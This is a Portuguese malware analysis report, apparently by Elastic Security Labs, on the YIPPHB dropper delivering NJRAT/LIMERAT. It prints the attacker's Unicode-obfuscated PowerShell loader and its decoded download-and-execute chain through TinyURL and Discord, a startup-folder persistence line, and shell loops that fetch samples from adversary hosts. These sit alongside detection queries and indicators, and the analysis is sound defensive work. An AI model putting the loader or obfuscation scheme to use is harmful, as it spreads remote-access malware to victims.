Principais conclusões
- O Elastic Security Labs identificou 12 clusters de atividade usando uma TTP semelhante de encadeamento de strings codificadas em Base64 com ícones Unicode para carregar o dropper YIPPHB.
- O YIPPHB é um dispositivo conta-gotas simples, porém eficaz, usado para administrar implantes de RAT desde pelo menos maio de 2022.
- As tentativas iniciais de acesso utilizam ícones Unicode incorporados no PowerShell para atrasar a análise automatizada.
Preâmbulo
Ao analisar dados de telemetria, o Elastic Security Labs identificou argumentos anormais durante a execução do PowerShell. Uma análise mais detalhada identificou o uso de ícones Unicode em sequências codificadas em Base64. Foi utilizado um mecanismo de substituição para substituir os ícones por caracteres ASCII.
Após a substituição dos ícones por caracteres ASCII, um processo repetitivo de coleta de arquivos codificados em Base64 e URLs invertidas foi utilizado para executar um dropper e um implante de malware completo. O dropper e o malware implantado foram posteriormente identificados como YIPPHB e NJRAT, respectivamente.
Esta pesquisa focou-se no seguinte:
- Fase do carregador
- Fase de gotejamento
- Fase RAT
- Agrupamentos de atividades
- Infraestrutura de rede
- Consultas de caça
Análise
A análise desse conjunto de intrusões descreve um método de ofuscação que acreditamos ter como objetivo burlar a análise automatizada de comandos do PowerShell, e que caracterizamos como rudimentar e prescritivo.
Fase do carregador
Ao analisar os comandos do PowerShell na telemetria da Elastic, observamos ícones Unicode incorporados nesses comandos. O uso de Unicode para ofuscar comandos do PowerShell não é uma técnica que tenhamos observado.
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $iUqm = 'JABSAG8AZABhAEMAbwBwAHkAIAA9ACAAJwATIK8ArwATIBMgrwATIBMgrwCvACcAOwBbAEIAeQB0AG⌚⌚⌚AWwBdAF0AIAAkAEQATABMACAAPQAgAFsAcwB5AHMAdABlAG0ALgBDAG8AbgB2AG⌚⌚⌚AcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQA⌚⌚⌚wB0AHIAaQBuAGcAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAG⌚⌚⌚AdAAuAFcAZQBiAEMAbABpAG⌚⌚⌚AbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQA⌚⌚⌚wB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwB0AGkAbgB5AH⌚⌚⌚AcgBsAC4AYwBvAG0ALwAyAG⌚⌚⌚AcgBwAGgANgBjAHMAJwApACkAOwBbAHMAeQBzAHQAZQBtAC4AQQBwAHAARABvAG0AYQBpAG4AXQA6ADoAQwB1AHIAcgBlAG4AdABEAG8AbQBhAGkAbgAuAEwAbwBhAGQAKAAkAEQATABMACkALgBHAG⌚⌚⌚AdAB⌚⌚⌚AHkAcABlACgAJwBOAHcAZwBvAHgATQAuAEsA⌚⌚⌚ABKAGEATgBqACcAKQAuAEcAZQB0AE0AZQB0AGgAbwBkACgAJwBQAF⌚⌚⌚AbABHAEsAQQAnACkALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAWwBvAGIAagBlAGMAdABbAF0AXQAgACgAJwB0AHgAdAAuADAAMAAwADgAdABjAG8AMAAxAC8AMQA3ADkAOAAxADIAOAAyADQAOQAzADgAMgA4ADgANAAzADAAMQAvADMAMgA1ADkANwAxADkAMgA0ADkAOQA2ADMANgA1ADYANQA5AC8AcwB0AG4AZQBtAGgAYwBhAHQAdABhAC8AbQBvAGMALgBwAHAAYQBkAHIAbwBjAHMAaQBkAC4AbgBkAGMALwAvADoAcwBwAHQAdABoACcAIAAsACAAJABSAG8AZABhAEMAbwBwAHkAIAAsACAAJwAQEMwGJwbMBicAIAApACkA';$OWjuxD = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $iUqm.replace('⌚⌚⌚','U') ) );$OWjuxD = $OWjuxD.replace('-¯¯--¯--¯¯', '[redacted].vbs');powershell.exe -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command $OWjuxD
Embora essa técnica não seja excessivamente complexa, pois simplesmente substitui os ícones por um caractere ASCII, ela é criativa. Essa técnica poderia atrasar a análise automatizada de strings codificadas em Base64, a menos que o comando do PowerShell fosse totalmente executado ou que um fluxo de trabalho de análise fosse utilizado para processar Unicode e funções de substituição.
Ao analisar o comando do PowerShell, conseguimos identificar um processo simples para substituir os ícones de observação Unicode (⌚⌚⌚) por um U. Para ilustrar o que está acontecendo, podemos usar a ferramenta de análise de dados criada pelo GCHQ: CyberChef.
Ao carregar as receitas “Localizar/Substituir”, “Decodificar Base64” e “Decodificar texto (UTF-16LE)”, podemos decodificar a string do PowerShell.
Na sequência decodificada, podemos ver como o carregador, o dispensador subsequente e o implante são instalados.
$RodaCopy = '-¯¯--¯--¯¯';[Byte[]] $DLL = [system.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('https://tinyurl[.]com/2erph6cs'));[system.AppDomain]::CurrentDomain.Load($DLL).GetType('NwgoxM.KPJaNj').GetMethod('PUlGKA').Invoke($null, [object[]] ('txt.0008tco01/1798128249382884301/325971924996365659/stnemhcatta/moc[.]ppadrocsid.ndc//:sptth' , $RodaCopy , 'တیای' ))
O carregador é baixado de https://tinyurl[.]com/2erph6cs. O TinyURL é um serviço popular de encurtamento de URLs e, embora tenha usos legítimos, também pode ser usado indevidamente para ocultar URLs maliciosos que se misturam ao tráfego de rede normal.
Para desdobrar o TinyURL, podemos usar o endpoint da API JSON do Unshorten.me:
$ curl https://unshorten.me/json/tinyurl[.]com/2erph6cs
{
"requested_url": "tinyurl[.]com/2erph6cs",
"success": true,
"resolved_url": "https://cdn.discordapp[.]com/attachments/1023796232872792096/1023798426636402818/dllsica.txt",
"usage_count": 3,
"remaining_calls": 8
}
O download do arquivo dllsica.txt da rede de distribuição de conteúdo do Discord nos forneceu outra string codificada em Base64. Diferentemente da string do PowerShell anterior, a string do arquivo dllsica.txt pode ser facilmente decodificada sem substituições.
Usando as ferramentas de linha de comando cat , base64 , xxd e head , podemos ver que isso tem um valor hexadecimal de 4d5a e um número mágico MZ no cabeçalho do arquivo. Isso confirma que estamos analisando um arquivo PE.
- cat - encadeia um arquivo
- base64 -D - a opção -D decodifica um arquivo codificado em base64
- xxd - cria um despejo hexadecimal de uma entrada
- head - retorna as primeiras 10 linhas de um arquivo
$ cat dllsica.txt | base64 -D | xxd | head
00000000: 4d5a 9000 0300 0000 0400 0000 ffff 0000 MZ..............
00000010: b800 0000 0000 0000 4000 0000 0000 0000 ........@.......
00000020: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000030: 0000 0000 0000 0000 0000 0000 8000 0000 ................
00000040: 0e1f ba0e 00b4 09cd 21b8 014c cd21 5468 ........!..L.!Th
00000050: 6973 2070 726f 6772 616d 2063 616e 6e6f is program canno
...truncated...
Em seguida, desofuscamos o binário, gravamos em disco e geramos um hash SHA-256.
- arquivo - verifique o tipo de arquivo
- shasum -a 256 - a opção -a 256 usa o algoritmo de hash de 256 bits
$ cat dllsica.txt | base64 -D > dllsica.bin
$ file dllsica.bin
dllsica.bin: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
$ shasum -a 256 dllsica.bin
49562fda46cfa05b2a6e2cb06a5d25711c9a435b578a7ec375f928aae9c08ff2
Agora que o carregador foi coletado, ele executa o método PUlGKA dentro da classe NwgoxM.KPJaN. A partir da string original decodificada em Base64
…truncated…
GetType('NwgoxM.KPJaNj').GetMethod('PUlGKA').Invoke($null, [object[]]
...truncated…:
Poderemos publicar pesquisas futuras sobre esse carregador, que mantém o acesso copiando-se para a pasta Inicializar do usuário como um script VBScript com suporte nativo.
FileSystem.FileCopy(RodaCopy, Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\\" + NameCopy + ".vbs");
Fase de gotejamento
A partir da imagem de execução do carregador acima, podemos ver que o carregador usa uma variável invertida (texto = bdw6ufv4/moc[.]lruynit//:sptth) Para baixar um arquivo adicional usando um TinyURL. Utilizando a ferramenta de linha de comando, rev , podemos corrigir a URL invertida.
$ echo "bdw6ufv4/moc.lruynit//:sptth" | rev
https://tinyurl[.]com/4vfu6wd
Podemos desdobrar o TinyURL usando o endpoint da API JSON do Unshorten.me para identificar o local de download do dropper.
$ curl https://unshorten.me/json/tinyurl[.]com/4vfu6wd
{
"requested_url": "tinyurl[.]com/4vfu6wd",
"success": true,
"resolved_url": "https://cdn.discordapp[.]com/attachments/1023796232872792096/1023796278213234758/pesica.txt",
"usage_count": 2,
"remaining_calls": 9
}
Outro arquivo codificado é baixado do Discord: pesica.txt. Até o momento da redação deste texto, o VirusTotal não detectou nenhum arquivo desse tipo.
Com base nas informações obtidas em dllsica.bin , podemos ver que pesica.txt utiliza a codificação UTF-8. Para analisar melhor o nosso arquivo, precisamos substituir os valores ▒▒▒▒ por um A e decodificar as strings resultantes em Base64.
…truncated…
string text = "bdw6ufv4/moc[.]lruynit//:sptth";
string text2 = new WebClient
{
Encoding = Encoding.UTF8
}.DownloadString(Strings.StrReverse(text));
text2 = Strings.StrReverse(text2);
text2 = text2.Replace("▒▒▒▒", "A");
string text3 = new WebClient().DownloadString(Strings.StrReverse(_5));
text3 = Strings.StrReverse(text3);
…truncated…
{
text4 + "\\InstallUtil.exe",
Convert.FromBase64String(text3)
});
…truncated…
Podemos combinar receitas para executar essas funções com o CyberChef.
Depois de decodificarmos o arquivo pesica.txt , calculamos o hash bba5f2b1c90cc8af0318502bdc8d128019faa94161b8c6ac4e424efe1165c2cf. A saída decodificada do arquivo pesica.txt mostra o nome do módulo YippHB .
...truncated...
ToInt16
<Module>
YippHB
ResumeThread_API
...truncated...
É a partir desse nome de módulo que deriva o nome do dropper YIPPHB. O YIPPHB foi originalmente descoberto pelo pesquisador de segurança Paul Melson. Paul divulgou publicamente este dropper em outubro de 2022 na conferência de segurança Augusta BSides.
O dropper YIPPHB é executado usando o utilitário de linha de comando Installutil.exe para iniciar a fase RAT.
Estamos nos referindo à próxima fase como a fase RAT. Todos os binários que conseguimos coletar nesta fase eram implantes RAT (NJRAT, LIMERAT e ASYNCRAT); no entanto, a natureza modular deste conjunto de intrusões permitiria a utilização de qualquer tipo de implante.
Fase RAT
Agora que o dropper YIPPHB foi executado, ele pega a segunda parte do script original do ícone Unicode para instalar o implante RAT.
…truncated…
('txt.0008tco01/1798128249382884301/325971924996365659/stnemhcatta/moc.ppadrocsid.ndc//:sptth' , $RodaCopy , 'တیای' ))
O RAT foi recuperado de https://cdn.discordapp[.]com/attachments/956563699429179523/1034882839428218971/10oct8000.txt, que é revertido de txt.0008tco01/1798128249382884301/325971924996365659/stnemhcatta/moc[.]ppadrocsid.ndc//:sptth.
Ao analisarmos o arquivo 10oct8000.txt , podemos constatar que se trata de um arquivo invertido, codificado em Base64.
=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA…truncated…
Podemos corrigir este arquivo e decodificá-lo em Base64 usando as ferramentas de linha de comando rev e base64 e salvar a saída como 10oct8000.bin.
$ cat 10oct8000.txt | rev | base64 -D > 10oct8000.bin
O arquivo 10oct8000.bin possui o hash SHA256 1c1910375d48576ea39dbd70d6efd0dba29a0ddc9eb052cadd583071c9ca7ab3. Este arquivo foi reportado no VirusTotal como uma variante das famílias de malware LIMERAT ou NJRAT (dependendo da fonte).
Assim como fizemos com o carregador e o lançador YIPPHB, vamos analisar algumas funcionalidades básicas do RAT, mas não faremos engenharia reversa completa. A investigação destas capacidades levou-nos a pesquisas anteriores que associam esta amostra ao NJRAT ou LIMERAT (1, 2).
O RAT inicia sua rotina de execução conectando-se novamente ao servidor de comando e controle. Em uma thread separada, também inicia uma rotina de keylogger para coletar o máximo de informações possível.
Para a conexão com o servidor de comando e controle, o RAT utiliza as informações de configuração listadas como variáveis globais. A variável victimName ( TllBTiBDQVQ= ) é uma string codificada em Base64 que decodificada resulta em “NYAN CAT”. Com base na similaridade do código com uma base de código NJRAT conhecida, esta informação de configuração C2 reforça nossa convicção de que isso está relacionado ao NJRAT.
Se o RAT estiver conectado a um servidor de comando e controle que esteja aguardando comandos, ele enviará as seguintes informações adicionais:
- nomeDaVítima ( vn )
- ID de hardware
- Nome de usuário
- OSFullName
- Versão do SO Servicepack
- se a pasta Arquivos de Programas termina em X86 ou não
- se houver uma webcam presente
- o nome da janela
- uma verificação de permissão no registro
Se a conexão com um servidor C2 for bem-sucedida, o operador poderá interagir com o implante por meio de uma série de comandos. Os pesquisadores de segurança Hido Cohen e CyberMasterV fornecem uma explicação detalhada desses comandos e da funcionalidade geral do RAT, aqui e aqui.
Agrupamentos de atividades
Conseguimos realizar buscas adicionais em nossos dados de telemetria para identificar diversos agrupamentos de atividade. Abaixo, fornecemos uma consulta EQL:
intrusion_detection where (process.pe.original_file_name == "PowerShell.EXE" and process.command_line like "*Unicode.GetString*" and process.args like "*replace*")
Essa consulta nos permitiu identificar atividades do PowerShell que utilizam tanto caracteres Unicode quanto a função de substituição .
Ao analisar esses resultados, conseguimos agrupar a atividade pelo nome da variável em combinação com o ícone Unicode. No exemplo que deu origem a esta pesquisa inicial, um cluster seria a variável iUqm e os ícones Unicode ⌚⌚⌚.
| ID do cluster | Variável | Ícone Unicode + número | Percentagem de prevalência (arredondada) |
|---|---|---|---|
| 1 | ngfYq | ❞ (U+275E) | 1% |
| 2 | Código | ❤ (U+2764) | 1% |
| 3 | iUqm | ⌚ (U+231A) | 9% |
| 4 | iUqm | ⚔ (U+2694) | 6% |
| 5 | Código | ⁂ (U+2042) | 62% |
| 6 | iUqm | ✌ (U+270C) | 1% |
| 7 | Código | ⏏ (U+23CF) | 1% |
| 8 | Cg1O | ☈ (U+2608) | 5% |
| 9 | Código | ♔ (U+2654) | 10% |
| 10 | iUqm | ﭏ (U+FB4F) | 1% |
| 11 | Código | _*/}+/_= | 1% |
| 12 | iUqm | ☈ (U+2608) | 2% |
Note-se que o cluster 11 usa todas as mesmas técnicas que os outros clusters, mas em vez de um ícone Unicode para substituição, usou uma série de caracteres ASCII ( _*/}+/_= ). A intrusão funcionou da mesma maneira e não está claro para nós por que esse cluster se desviou do uso de um ícone Unicode.
Coletar e analisar dados de rede
Para ampliar a análise desse conjunto de intrusões, buscamos automatizar a extração dos URLs codificados do carregador e do dropper a partir do arquivo process.command_line. campos e o C2 subsequente usado pelos implantes RAT.
Carregador e Lançador
Conforme mencionado nas fases de Loader e Dropper, a string codificada em Base64 precisa ter os ícones Unicode substituídos, além de ser invertida e decodificada. Após esse processo, o primeiro URL fica prontamente disponível, enquanto o segundo URL requer uma nova operação de engenharia reversa.
Para evitar a execução do próprio comando do PowerShell, podemos utilizar a ferramenta de processamento de texto awk. A seguir, apresentamos um detalhamento de como realizar a análise e forneceremos um script em shell com tudo isso para referência.
Para começar, precisaremos acessar nossos dados na linha de comando, onde poderemos redirecioná-los para o awk. Publicamos uma ferramenta chamada eql-query (e outra chamada lucene-query ) para fazer exatamente isso.
Usando o eql-query , podemos executar uma consulta EQL para recuperar os resultados dos últimos 180 dias, obtendo apenas o process.command_line. campo. A vantagem de fazer isso pela linha de comando é que nos permite analisar os dados com mais detalhes e extrair outras sequências de interesse.
eql-query --since 'now-180d/d' --size=1000 --compact --fields 'process.command_line' 'intrusion_detection where (process.pe.original_file_name == "PowerShell.EXE" and process.command_line like "*Unicode.GetString*" and process.args like "*replace*")'
Em seguida, use o jq para passar a string bruta para o awk usando jq '._source.process.command_line' -r | awk.
Se você estiver fazendo isso de forma iterativa, o melhor é gravar os resultados da consulta EQL em um arquivo e, em seguida, operar sobre os resultados localmente até que seu pipeline esteja do jeito que você deseja.
O próximo passo é capturar as strings usadas nos comandos de substituição do PowerShell para que possamos executar essa função nós mesmos. A melhor maneira de fazer isso usando awk é capturando-os com uma expressão regular.
Isso corresponde ao primeiro e ao segundo argumentos a serem substituídos. O primeiro argumento é Unicode e possivelmente não é amigável como um padrão awk , então precisaremos escapá-lo primeiro. Após a substituição, imprimiremos o código "limpo", a string a ser encontrada e o texto de substituição.
function escape_string( str ) {
gsub(/[\\.^$(){}\[\]|*+?]/, "\\\\&", str)
return str
}
{
match($0, /replace\('\''(.*)'\'' *, *'\''(.*)'\''/, arr);
str=escape_string(arr[1]);
rep=arr[2];
print gensub(str, rep, "g")
}
Finalmente, podemos extrair o código Base64 (usando outra expressão regular) e revelar o script Powershell ofuscado.
grep -oP ''\''\K[A-Za-z0-9+/]+={0,2}(?='\'';)'
Isso automatiza o processo de conversão manual que descrevemos nas fases de Carregador, Distribuidor e RAT acima.
$RodaCopy = '-¯¯--¯--¯¯';[Byte[]] $DLL = [system.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('https://tinyurl[.]com/2erph6cs'));[system.AppDomain]::CurrentDomain.Load($DLL).GetType('NwgoxM.KPJaNj').GetMethod('PUlGKA').Invoke($null, [object[]] ('txt.0008tco01/1798128249382884301/325971924996365659/stnemhcatta/moc[.]ppadrocsid.ndc//:sptth' , $RodaCopy , 'တیای' ))
Analisar os URLs deste texto deveria ser uma simples operação de correspondência com o awk , seguida da inversão do segundo URL. No entanto, a codificação padrão do PowerShell é UTF-16LE , enquanto o awk suporta apenas UTF-8 ou ASCII. Uma ferramenta chamada iconv pode realizar a conversão necessária.
echo "${line}" | base64 -d | iconv -f UTF-16 -t UTF-8 | awk '{ if ( match($0, /'\''([^'\'']+\/\/:s?ptth)'\''/, arr)) { n=split(arr[1],arr2,""); for(i=1;i<=n;i++){s=arr2[i] s}; print s}; if ( match($0, /'\''(https?:\/\/[^'\'']+)'\''/, arr)){ print arr[1] } }'
Uma vez convertido, o resto é uma simples análise sintática. Nossa saída conterá url1 , url2 e uma cópia das strings Unicode e suas substituições. Os URLs são os URLs de encaminhamento e reverso para cada exemplo de código, respectivamente.
| ícone Unicode | Substituição | url1 | url2 |
|---|---|---|---|
| ⌚⌚⌚ | U | https://tinyurl[.]com/2erph6cs | https://cdn.discordapp[.]com/...truncated.../10oct8000.txt |
| ⌚⌚⌚ | U | http://91.241.19[.]49/ARTS/dllf3txt | http://91.241.19[.]49/test/new/ZX1.txt |
| ⁂ | R | http://20.231.55[.]108/dll/06-07-2022.PDF | http://212.192.246[.]226/dsaffdffa.txt |
Para obter mais detalhes ou para testar com seus próprios dados, consulte o script shell que combina tudo.
Agora que automatizamos a coleta e a análise dos URLs para o carregador e o distribuidor, podemos prosseguir para a infraestrutura RAT.
RATO
Como fica evidente no script original do Powershell, sabemos que o RAT utiliza infraestrutura de rede adicional. Para realizar isso, precisamos baixar o RAT de forma semelhante ao que o dropper faria, obter um conjunto exclusivo de URLs para cada saída url1 e url2 na etapa anterior, percorrer cada lista e usar o curl para baixá-las.
Esse processo exige interação com infraestrutura pertencente ou controlada pelo adversário. Interagir com a infraestrutura adversária exige uma preparação rigorosa que nem todas as organizações estão dispostas a adotar. Caso você ainda não possua um conhecimento sólido sobre considerações legais, pontos de saída de rede defensivos, ambientes de teste (sandboxes), estratégia de ganho/perda de inteligência, etc., as informações a seguir são apresentadas de forma meramente informativa.
Como o carregador nunca salva os arquivos baixados no disco e nem sempre há nomes de arquivo, para controlar as amostras, usaremos um contador simples. Isso nos dá este loop simples:
ctr=1
for line in $(cat ../url-1.txt); do
curl -v -A "${USER_AGENT}" -o "file-${ctr}" -L --connect-timeout 10 "${line}" 2>>"log-${ctr}.txt"
ctr=$((ctr + 1))
done
Usamos -v para capturar os cabeçalhos de solicitação e resposta, -L para seguir redirecionamentos e --connect-timeout para acelerar o processo quando a infraestrutura estiver inativa. Por fim, salve a saída do curl em um arquivo de log, enquanto quaisquer arquivos baixados sejam salvos como arquivo-X , onde X é o valor do contador.
Todos os arquivos RAT baixados são codificados em Base64. Podemos identificar arquivos válidos codificados em Base64 usando o comando file . Um arquivo codificado em Base64 será identificado como “texto ASCII, com linhas muito longas (comprimento), sem terminadores de linha”, onde comprimento é o tamanho do arquivo. Para arquivos que correspondam a esse idioma, iremos decodificá-los e salvá-los com a extensão .dll. extensão.
for entry in $(file file-?? | awk -F": " '$2 ~ /^ASCII text.*very long lines/ {print $1}'); do
rev <"${entry}" | base64 -d >"${entry}.dll"
done
Agora que temos os binários do RAT, podemos realizar algumas análises estáticas típicas neles. Se você tiver a ferramenta de linha de comando VirusTotal e puder fazer consultas à API, a busca por arquivos conhecidos se resume a um simples loop em todos os arquivos DLL salvos.
for entry in *.dll; do
hash=$(sha256sum "${entry}" | awk '{print $1}')
vt search "${hash}" >"${entry}.vt.yml"
done
Analisando a saída, podemos ver que qualquer arquivo yml (a saída do comando vt ) com 0 bytes significa que não há correspondência. Esses arquivos são desconhecidos para o VirusTotal. Neste resultado, podemos ver que os arquivos file-30.dll , file-31.dll e file-34.dll são desconhecidos para o VirusTotal.
$ ls -s *.dll{,.vt.yml}
32 file-28.dll
32 file-28.dll.vt.yml
32 file-30.dll
0 file-30.dll.vt.yml
32 file-31.dll
0 file-31.dll.vt.yml
468 file-34.dll
0 file-34.dll.vt.yml
48 file-35.dll
40 file-35.dll.vt.yml
80 file-38.dll
36 file-38.dll.vt.yml
A análise final que vamos realizar consiste em tentar extrair quaisquer nomes de domínio das DLLs. Para muitos formatos de arquivos executáveis, o comando strings pode fornecer essa informação. Infelizmente, a maioria dessas DLLs são assemblies .NET e o comando strings não funciona para extrair strings de assemblies .NET. O comando `file` pode nos ajudar a identificá-los novamente, como neste exemplo:
$ file file-31.dll
file-31.dll: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
A vantagem do .Net é que ele é facilmente desmontado e o projeto Mono fornece uma ferramenta justamente para isso, o ikdasm. Isso nos dá o nosso último loop para buscar nomes de domínio ou referências a URLs HTTP.
for item in *.dll; do
ikdasm "${item}" | grep -E '(\.(org|com|net|ly))|((yl|ten|moc|gro)\.)|("http|ptth")';
Done
Para obter mais detalhes, você pode consultar este script shell que reúne esta segunda etapa da análise.
Modelo Diamante
Elastic Security utilizes the Diamond Model to describe high-level relationships between adversaries and victims of intrusions.
Táticas e técnicas adversárias observadas
A Elastic usa a estrutura MITRE ATT&CK para documentar táticas, técnicas e procedimentos comuns que ameaças persistentes avançadas usam contra redes corporativas.
Táticas
As táticas representam o porquê de uma técnica ou subtécnica. É o objetivo tático do adversário: a razão para executar uma ação.
- Desenvolvimento de recursos
- Execução
- Persistência
- Defense Evasion
- Descoberta
- Command and Control (Comando e controle)
Técnicas/subtécnicas
Técnicas e subtécnicas representam como um adversário atinge um objetivo tático ao executar uma ação.
- Adquirir infraestrutura
- Capacidades da Etapa: Carregar Malware
- Execução automática na inicialização ou logon: Chaves de execução do Registro / Pasta de inicialização
- Interpretador de comandos e scripts: Visual Basic
- Interpretador de comando e script: PowerShell
- Execução de proxy binário do sistema: InstallUtil
- Arquivos ou informações ofuscadas
Lógica de detecção
Regras de comportamento
- Conexão ao WebService por um Proxy Binário Assinado
- Suspicious PowerShell Execution
- Execução de processo com extensão de arquivo incomum
- Arquivo de script gravado na pasta de inicialização
- Suspicious PowerShell Execution via Windows Scripts (execução suspeita do PowerShell via scripts do Windows)
- Conexão com o provedor de DNS dinâmico por meio de um binário não assinado
Consultas de caça
A identificação de Unicode no PowerShell pode ser feita com uma consulta KQL ou EQL.
Os eventos para KQL e EQL são fornecidos pelo Elastic Agent através da integração com o Elastic Defend.
KQL query
Usando o aplicativo Discover no Kibana, a consulta abaixo identificará o uso do PowerShell com strings Unicode. Embora tenha identificado todos os eventos desta pesquisa, também identificou outros eventos que não faziam parte do conjunto de intrusões REF4526.
Os curingas precedentes e anteriores ( * ) podem tornar a pesquisa dispendiosa em um grande número de eventos.
process.pe.original_file_name : "PowerShell.EXE" and process.command_line : (*Unicode.GetString* and *replace*)
consulta EQL
Utilizando a seção Linha do Tempo da Solução de Segurança no Kibana, na aba “Correlação”, esta consulta identificará o uso do PowerShell com strings Unicode e a função de substituição . Isso identificou todos os eventos REF4526 observados.
intrusion_detection where (process.pe.original_file_name == "PowerShell.EXE" and process.command_line like "*Unicode.GetString*" and process.args like "*replace*")
Referências
Os seguintes itens foram referenciados ao longo da pesquisa acima:
- https://github.com/pmelson/bsidesaugusta_2022/blob/main/unk.yara
- https://malpedia.caad.fkie.fraunhofer.de/details/win.limerat
- https://malpedia.caad.fkie.fraunhofer.de/details/win.njrat
- https://neonprimetime.blogspot.com/2018/10/njrat-lime-ilspy-decompiled-code-from.html
- https://cybergeeks.tech/just-another-analysis-of-the-njrat-malware-a-step-by-step-approach/
- https://github.com/NYAN-x-CAT/njRAT-0.7d-Stub-CSharp/blob/master/njRAT%20C%23%20Stub/Program.cs
- https://hidocohen.medium.com/njrat-malware-analysis-198188d6339a
- https://cybergeeks.tech/just-another-analysis-of-the-njrat-malware-a-step-by-step-approach/
Observáveis
Todos os observáveis também estão disponíveis para download nos formatos ECS e STIX em um pacote zip combinado.
Os seguintes observáveis foram discutidos nesta pesquisa.
| Observável | Tipo | Referência | Note |
|---|---|---|---|
| 49562fda46cfa05b2a6e2cb06a5d25711c9a435b578a7ec375f928aae9c08ff2 | SHA-256 | dllsica.bin | Carregador inicial |
| bba5f2b1c90cc8af0318502bdc8d128019faa94161b8c6ac4e424efe1165c2cf | SHA-256 | pesica.bin | Downloader YIPPHB |
| 1c1910375d48576ea39dbd70d6efd0dba29a0ddc9eb052cadd583071c9ca7ab3 | SHA-256 | 10out8000 | Implante NJRAT |
https://cdn.discordapp[.]com/attachments/956563699429179523/1034882839428218971/10oct8000.txt | URL | Fase do carregador | Local de download do NJRAT |
https://tinyurl[.]com/2erph6cs | URL | Fase do carregador | Local de download do carregador REF4526 |
https://tinyurl[.]com/4vfu6wd | URL | Fase de gotejamento | Local de download do YIPPHB |
| wins10ok.duckdns[.]org | nome de domínio | NJRAT C2 | N / D |
